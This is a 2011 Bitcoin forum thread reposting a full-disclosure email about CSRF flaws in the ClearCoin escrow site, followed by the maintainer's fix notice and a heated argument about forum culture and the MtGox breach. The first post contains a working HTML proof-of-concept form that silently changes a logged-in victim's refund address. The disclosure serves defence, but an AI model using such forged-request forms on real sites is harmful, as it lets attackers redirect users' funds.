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Author Topic: [Full Disclosure] ClearCoin CSRFs  (Read 5627 times)
jrmithdobbs
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June 19, 2011, 10:26:45 PM
 #1

Code:
From: Doug Huff <dhuff@jrbobdobbs.org>
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X-Smtp-Server: smtp.gmail.com:mith@jrbobdobbs.org
Subject: Bitcoin fun day!
Date: Sun, 19 Jun 2011 16:54:28 -0500
X-Universally-Unique-Identifier: 52968483-4027-4d0b-9145-dc72230ee50c
Message-Id: <2B2201C1-E59F-47D4-BF67-08FDB0DDE386@jrbobdobbs.org>
Cc: Bitcoin Dev <bitcoin-development@lists.sourceforge.net>
To: full-disclosure@lists.grok.org.uk
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In light of recent events in the "bitcoin community" I have decided that =
private disclosure of issues is doing nothing but making them more =
prevalent.

In light of this decision I would like to report multiple CSRF =
vulnerabilities in http://clearcoin.appspot.com .

This set of CSRFs are particularly nasty since this is hosted on appspot =
and uses google account auth. So long as you stay logged into your =
google account you are vulnerable to this CSRF.

Things tested:
  Changing refund address.
  Releasing funds.

POC code (open this in any browser even from a local file):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<html><head><title>test</title></head>
  <body>
  <form id=3D"refund_address_form" =
action=3D"https://clearcoin.appspot.com/set_refund_address" =
method=3D"POST">=20
      <label for=3D"refund_address">Your bitcoin address:</label>=20
      <input type=3D"text" name=3D"refund_address" id=3D"refund_address" =
size=3D"60" value=3D"PUT ANY ADDRESS HERE"
             class=3D"text ui-widget-content ui-corner-all" autofocus =
required placeholder=3D"refund bitcoin address"/> (required)
  </form>=20
  </body>
</html>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Javascript auto submittal, hiding in an iframe, and other obfuscation =
methods are left as an exercise to the list.

This site is run and maintained by Gavin Anderson, aka, the lead bitcoin =
maintainer.

You should know better Gavin.

--=20
Douglas Huff



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http://sourceforge.net/mailarchive/forum.php?thread_name=2B2201C1-E59F-47D4-BF67-08FDB0DDE386%40jrbobdobbs.org&forum_name=bitcoin-development

Sorry Gavin.

(Gavin has already pulled clearcoin offline to address the issue.)

Edit: Adding f-d link for posterity.
http://lists.grok.org.uk/pipermail/full-disclosure/2011-June/081574.html

1B8TSDzXdyTRX5eF77gWQoXujBaDtKFE6H
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June 19, 2011, 10:33:25 PM
 #2

Who trusts Gavin anyway?

Help this puppy survive: http://larrycorreia.files.wordpress.com/2011/06/mr-snuggles.jpg

Donate to 1Gvzk3L3oLjeK5m6y4B82kFvLEZbqQnUWs
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June 19, 2011, 10:36:13 PM
 #3

Yes, don't trust me, please.  I am human and will make mistakes.

The CSRF vulnerability on ClearCoin is fixed. I will be contacting any ClearCoin customers who have changed their refund addresses to make sure that they were not the victim of a CSRF attack.

Will I see you in Amsterdam?
  http://bitcoin2014.com/
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June 19, 2011, 10:40:52 PM
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You can make thousands of mistakes in web programming, but please!!! - don't fuck up with C++ Smiley

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June 19, 2011, 10:43:15 PM
 #5

Yes, don't trust me, please.  I am human and will make mistakes.

The CSRF vulnerability on ClearCoin is fixed. I will be contacting any ClearCoin customers who have changed their refund addresses to make sure that they were not the victim of a CSRF attack.


Thank you for your timely response and correction of the issue.

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June 20, 2011, 12:05:34 AM
 #6

Great job guys
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June 20, 2011, 12:55:25 AM
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You can make thousands of mistakes in web programming, but please!!! - don't fuck up with C++ Smiley

Hahah, never has a truer word been spoken!
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June 20, 2011, 12:56:32 AM
 #8

Who trusts Gavin anyway?

Well... the FBI?  (conference) Wink

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June 20, 2011, 01:03:32 AM
 #9

this may sound petulant, and my apologies if it is, but i distinctly recall the user "s" pointing out in this forum the importance of cross-site request forgeries and the fact that many popular bitcoin-related websites were vulnerable to them. he (or she) then left the forum and deleted all his/her posts, having been pushed away by extreme libertarians.

this is another example of the tone of the forums posing a problem for the bitcoin community, which could benefit from more inclusiveness, diversity of opinion, and politeness. if people had listened to "s" rather than dismissing that user's concerns as somehow hostile to bitcoin because they didn't 'toe the line', many problems could have been addressed months ago.
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June 20, 2011, 01:16:32 AM
 #10

this may sound petulant, and my apologies if it is, but i distinctly recall the user "s" pointing out in this forum the importance of cross-site request forgeries and the fact that many popular bitcoin-related websites were vulnerable to them. he (or she) then left the forum and deleted all his/her posts, having been pushed away by extreme libertarians.

this is another example of the tone of the forums posing a problem for the bitcoin community, which could benefit from a more inclusiveness, diversity of opinion, and politeness. if people had listened to "s" rather than dismissing that user's concerns as somehow hostile to bitcoin because they didn't 'toe the line', many problems could have been addressed months ago.

I take offense to lumping all of us libertarians together as if we are the problem. Please look over my post history and you will see that I simply don't engage in personal attacks or abusive behavior in general, even when viciously insulted. The people that are decrying anything that could devalue BTC are the people that are just into Bitcoin to make a few quick bucks. I'm in it for the long haul because I value economic freedom as a libertarian. I'd rather see the currency stabilize than make money. I have a source of income. I don't need to speculate. I also welcome disclosure of vulnerabilities because it puts pressure on administrators to fix the problem as well as notifies the community that they should think twice about trusting the keys to the kingdom without considering risk. Please rethink your opinion on libertarians because even when the speculators are long gone, we will still be here wanting to use this currency.
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June 20, 2011, 02:09:52 AM
 #11

this may sound petulant, and my apologies if it is, but i distinctly recall the user "s" pointing out in this forum the importance of cross-site request forgeries and the fact that many popular bitcoin-related websites were vulnerable to them. he (or she) then left the forum and deleted all his/her posts, having been pushed away by extreme libertarians.

this is another example of the tone of the forums posing a problem for the bitcoin community, which could benefit from more inclusiveness, diversity of opinion, and politeness. if people had listened to "s" rather than dismissing that user's concerns as somehow hostile to bitcoin because they didn't 'toe the line', many problems could have been addressed months ago.

I, too, Blame Ayn Rand for all evil in the world and especially on this forum.

/s

That's actually more lulzy than petulant. 

I think we've all learned some valuable lessons today, about boring web standards' XCHMLL bugs that cause HTXL->BTC overflows or whatever. 

And not using the same l/p.  And due diligence.




"Current payment systems simply can’t compete with bitcoin’s fees, security and convenience.  Why spend hundreds of thousands of dollars on bank fees per year and lose hair as money transfers bounce from bank to bank during a wire transfer sometimes taking days to reach its destination, when it can clear within minutes and for mere pennies?  As a currency, no sovereign can match it.  As a payment system, no financial institution can compete with it.  As a distributed network, no government can stop it."     -Chris Horlacher
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June 20, 2011, 02:22:07 AM
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Amateur hour all the way around.
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June 20, 2011, 02:36:43 AM
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I, too, Blame Ayn Rand for all evil in the world and especially on this forum.

'for some ridiculous and extreme attitudes among teenagers' is not the same thing as 'all the evil in the world'. but bitcoin2cash is right. i really just have a particular type of poster in mind. it's not everyone who happens to be a libertarian; it's the rabid, often teenage ones who think that any criticism of the bitcoin protocol must be motivated by a brainwashing from the 'state'.

Quote
I think we've all learned some valuable lessons today, about boring web standards' XCHMLL bugs that cause HTXL->BTC overflows or whatever. 

these were not lessons to learn; these are obvious to anyone with even the slightest experience in systems security. as i said, a good critical user who visited the forum for a week pointed them out, specifically, along with a variety of other problems. either there's too much noise or too much complacency for people to listen or learn before the problems manifest themselves.
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June 20, 2011, 04:04:09 AM
 #14

i really just have a particular type of poster in mind. it's not everyone who happens to be a libertarian; it's the rabid, often teenage ones who think that any criticism of the bitcoin protocol must be motivated by a brainwashing from the 'state'.

Many teens have yet not learned to tolerate the ignorant hypocrisy of those whose knee jerk objections to bitcoin not only are specifically addressed by the design, but obviously apply to the fiat money created by the State.  That's a good thing.  I like people who stand up and vigorously defend their values and beliefs.

If you, or the other guy who left, can't look past their enthusiasm, vehemence, and zeal that's your problem.

Even a reasonable adult might get sick having to repeatedly point out that federal reserve notes are way more of a fake Ponzi rip-off scam than any form of cryptocash.


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these were not lessons to learn; these are obvious to anyone with even the slightest experience in systems security. as i said, a good critical user who visited the forum for a week pointed them out, specifically, along with a variety of other problems. either there's too much noise or too much complacency for people to listen or learn before the problems manifest themselves.

Nice try, gotcha guy.  But it turns out that the supposed MtGox "hack" was an inside job.  It had NOTHING to do with XSRF, SQL, or whatever technical point the oversensitive guy (who ran away rather than debate mean, stinky libertarians) was previously belaboring.

"Current payment systems simply can’t compete with bitcoin’s fees, security and convenience.  Why spend hundreds of thousands of dollars on bank fees per year and lose hair as money transfers bounce from bank to bank during a wire transfer sometimes taking days to reach its destination, when it can clear within minutes and for mere pennies?  As a currency, no sovereign can match it.  As a payment system, no financial institution can compete with it.  As a distributed network, no government can stop it."     -Chris Horlacher
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June 20, 2011, 04:07:18 AM
 #15

Nice try, gotcha guy.  But it turns out that the supposed MtGox "hack" was an inside job.  It had NOTHING to do with XSRF, SQL, or whatever technical point the oversensitive guy (who ran away rather than debate mean, stinky libertarians) was previously belaboring.

mt. gox was, within the last week and by their own admission, vulnerable to cross-site request forgeries. i don't recall "s" ever saying anything about sql injection, which is harder to detect without access to the code. (it's not worth debating this if you're not a technical person yourself.)
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June 20, 2011, 04:54:36 AM
 #16

Nice try, gotcha guy.  But it turns out that the supposed MtGox "hack" was an inside job.  It had NOTHING to do with XSRF, SQL, or whatever technical point the oversensitive guy (who ran away rather than debate mean, stinky libertarians) was previously belaboring.

mt. gox was, within the last week and by their own admission, vulnerable to cross-site request forgeries. i don't recall "s" ever saying anything about sql injection, which is harder to detect without access to the code. (it's not worth debating this if you're not a technical person yourself.)

Nobody is debating whether the XSRF vulnerability existed any longer, as it was demonstrated on Friday night.

It's been fixed and had nothing to do with the break-in, which was the fault of MtGox's finance auditor AND NOT THE RESULT OF XSRF, SQL, TROJANS, TEMPEST, OR WHATEVER YOUR BUDDY WAS MOANING ABOUT.

Now the issue is that so many were so quick to point fingers immediately following the MtGox breach, without bothering to confirm or verify anything with the principals involved.

You aren't the only "OMG we tried to warn them but they DINT LISEN" bozo who was proven wrong by tonight's interview.  There are/were a lot of expert opinions, ie, wild guesses being thrown around.

Spare us the "it's not worth debating this if you're not a technical person yourself" snobbery.  You may rest assured that I understand the difference between a XSRF and SQL injection.  I get paid to make damn sure such things keep running smoothly. 

I'm sure your e-peen is so massive it would stampede the women and scare the children, so please keep it private and to yourself.

"Current payment systems simply can’t compete with bitcoin’s fees, security and convenience.  Why spend hundreds of thousands of dollars on bank fees per year and lose hair as money transfers bounce from bank to bank during a wire transfer sometimes taking days to reach its destination, when it can clear within minutes and for mere pennies?  As a currency, no sovereign can match it.  As a payment system, no financial institution can compete with it.  As a distributed network, no government can stop it."     -Chris Horlacher
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June 20, 2011, 05:00:04 AM
 #17

You aren't the only "OMG we tried to warn them but they DINT LISEN" bozo who was proven wrong by tonight's interview.  There are/were a lot of expert opinions, ie, wild guesses being thrown around.

i'm not clear what you think i said that has been 'proven wrong', but i believe you're mistaken.

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Spare us the "it's not worth debating this if you're not a technical person yourself" snobbery.  You may rest assured that I understand the difference between a XSRF and SQL injection.  I get paid to make damn sure such things keep running smoothly. 

I'm sure your e-peen is so massive it would stampede the women and scare the children, so please keep it private and to yourself.

this again is just the sort of childish response that i'm critiquing. you referred to 'XCHMLL bugs that cause HTXL->BTC overflows or whatever'; a reasonable inference from that kind of a comment is that you have little technical understanding of the concepts we're discussing. if that is not true, you can't fault me for picking up on an anti-intellectual mannerism you intentionally put forward.
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June 20, 2011, 05:11:59 AM
 #18

You aren't the only "OMG we tried to warn them but they DINT LISEN" bozo who was proven wrong by tonight's interview.  There are/were a lot of expert opinions, ie, wild guesses being thrown around.

i'm not clear what you think i said that has been 'proven wrong', but i believe you're mistaken.

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Spare us the "it's not worth debating this if you're not a technical person yourself" snobbery.  You may rest assured that I understand the difference between a XSRF and SQL injection.  I get paid to make damn sure such things keep running smoothly. 

I'm sure your e-peen is so massive it would stampede the women and scare the children, so please keep it private and to yourself.

this again is just the sort of childish response that i'm critiquing. you referred to 'XCHMLL bugs that cause HTXL->BTC overflows or whatever'; a reasonable inference from that kind of a comment is that you have little technical understanding of the concepts we're discussing. if that is not true, you can't fault me for picking up on an anti-intellectual mannerism you intentionally put forward.

It's not that hard: the interview tonight (did you watch it?) about the break-in proved that ALL the people who were claiming they knew the cause of the MtGox heist were WRONG.

Your petulant lack of humor is far more childish than my poking fun at the idea of technobabble as a compelling explanation for the MtGox situation.

Your humorless, grumpy inference regarding my technical understanding of the concepts at hand was not reasonable, especially given my previous posts and demonstrated hash rate.

"Current payment systems simply can’t compete with bitcoin’s fees, security and convenience.  Why spend hundreds of thousands of dollars on bank fees per year and lose hair as money transfers bounce from bank to bank during a wire transfer sometimes taking days to reach its destination, when it can clear within minutes and for mere pennies?  As a currency, no sovereign can match it.  As a payment system, no financial institution can compete with it.  As a distributed network, no government can stop it."     -Chris Horlacher
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June 20, 2011, 05:21:23 AM
 #19

It's not that hard: the interview tonight (did you watch it?) about the break-in proved that ALL the people who were claiming they knew the cause of the MtGox heist were WRONG.

and where do you think i ever claimed that i knew the cause of the problems on mt. gox? i wasn't even talking about them. note that we're in a discussion about a cross-site forgery problem on clearcoin. i brought up mt. gox only after you called me 'gotcha guy' and seemed to suggest they had never been vulnerable to such request-forgery problems.

i know this is an internet forum and all, and reading comprehension may not be your strength, but it might be worth actually reading what i'm saying before criticising it, calling me a 'bozo', and referring to my 'e-peen'. grow up, please.
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June 20, 2011, 05:42:16 AM
 #20

It's not that hard: the interview tonight (did you watch it?) about the break-in proved that ALL the people who were claiming they knew the cause of the MtGox heist were WRONG.
That interview proved nothing except that the rep of mtgox present said some things with no evidence presented except for their willingness to make public statements without seeking legal counsel first and that they do not understand basic technical concepts.

Considering their recent track record of responding to (more like: not responding to) privately disclosed security issues. (It took *a week* for tux to respond to someone trying to report those csrfs. He only responded once it was made public. It was not confirmed friday. It was confirmed much earlier in the week.) The SQL injection issues that were fixed in the last few days on mtgox with no announcement or disclosure. Etc.

Tux's behaviour is what prompted me to disclose this the way I did. I think going forward that all bitcoin-related security issues should get the full disclosure treatment to discourage another mtgox.

(Really am sorry Gavin. I know you would have responded appropriately had this been privately disclosed.)

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